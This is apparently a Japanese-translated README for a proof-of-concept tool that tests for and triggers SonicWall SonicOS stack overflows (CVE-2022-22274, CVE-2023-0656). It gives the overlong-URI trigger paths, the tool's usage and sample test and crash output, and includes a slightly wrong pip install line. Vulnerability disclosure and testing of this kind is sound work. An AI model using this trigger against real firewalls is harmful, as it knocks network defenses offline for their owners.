
SonicWall SonicOS のスタックベースのバッファオーバーフロー(CVE-2022-22274、CVE-2023-0656)に対する概念実証エクスプロイトで、細工したHTTPリクエストを介してクラッシュをテストおよびトリガーします。

2022年3月24日、SonicWallは以下の詳細を含む勧告を公開しました。
SonicOSのHTTPリクエストを介したスタックベースのバッファオーバーフローの脆弱性により、リモートの未認証攻撃者がサービス拒否(DoS)を引き起こしたり、ファイアウォールでのコード実行に至る可能性があります。
注:この脆弱性は「Web管理」インターフェースにのみ影響し、SonicOS SSLVPNインターフェースには影響しません。
2023年3月2日、SonicWallは別の同様の勧告を公開しました。
SonicOSにおけるスタックベースのバッファオーバーフローの脆弱性により、リモートの未認証攻撃者がサービス拒否(DoS)を引き起こし、影響を受けるファイアウォールをクラッシュさせる可能性があります。
注:この脆弱性は「Web管理」インターフェースにのみ影響し、SonicOS SSLVPNインターフェースには影響しません。
どちらの問題も同じ脆弱なコードパターンに関連しており、同じエクスプロイトペイロードを使用しますが、異なるURIパスでトリガーされます。
バッファオーバーフローは、1024文字を超えるURIパスを含むHTTPリクエストによってトリガーされます。CVE-2022-22274は /resources/ またはAdvanced Threat ProtectionのURIパス(有効な場合は /atp/、無効な場合は //)で悪用できます。CVE-2023-0656は /stats/ または /Security_Services で悪用できます。
このリポジトリには、4つのURIパスすべてでターゲットの悪用可能性をテストするための概念実証スクリプトが含まれています。デフォルトでは安全なテストを実行しますが、バグを悪用してターゲットをクラッシュさせる機能もあります。
注:デフォルト設定では、短時間に3回連続でクラッシュが発生すると、SonicOSがデバイスをデバッグモードで再起動し、管理者が復旧するまで到達不能になります。責任を持って使用してください!
Python 3をインストールし、python -m pip install -y argparse を実行してください。
usage: poc.py [-h] [-t] [-x {1,2,3,4,5}] [-s] target
positional arguments:
target hostname[:port] (port defaults to 443)
options:
-h, --help show this help message and exit
-t, --test safely test for vulnerability (default action)
-x {1,2,3,4,5}, --exploit {1,2,3,4,5}
exploit the target (trigger a crash). 1=/resources/ 2=// 3=/atp/ 4=/stats/ 5=/Security_Services
-s, --skip-header-check
skip initial check for SonicWALL response header
脆弱なターゲットをテストする:
$ ./poc.py 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at //
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2023-0656 at /Security_Services
[+] Target looks vulnerable! (redirected)
脆弱なターゲットを悪用する:
$ ./poc.py -x 1 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Triggering exploit at /resources/
[+] Exploit succeeded! (target unavailable)
修正済みターゲットをテストおよび悪用する:
$ ./poc.py -tx 4 192.168.50.31
[*] Checking https://192.168.50.31:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at //
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2023-0656 at /Security_Services
[-] Target appears to be patched (empty response)
[*] Triggering exploit at /stats/
[-] Exploit failed (target responded)
このプロジェクトはGNU GPL 3.0ライセンスの下で提供されています。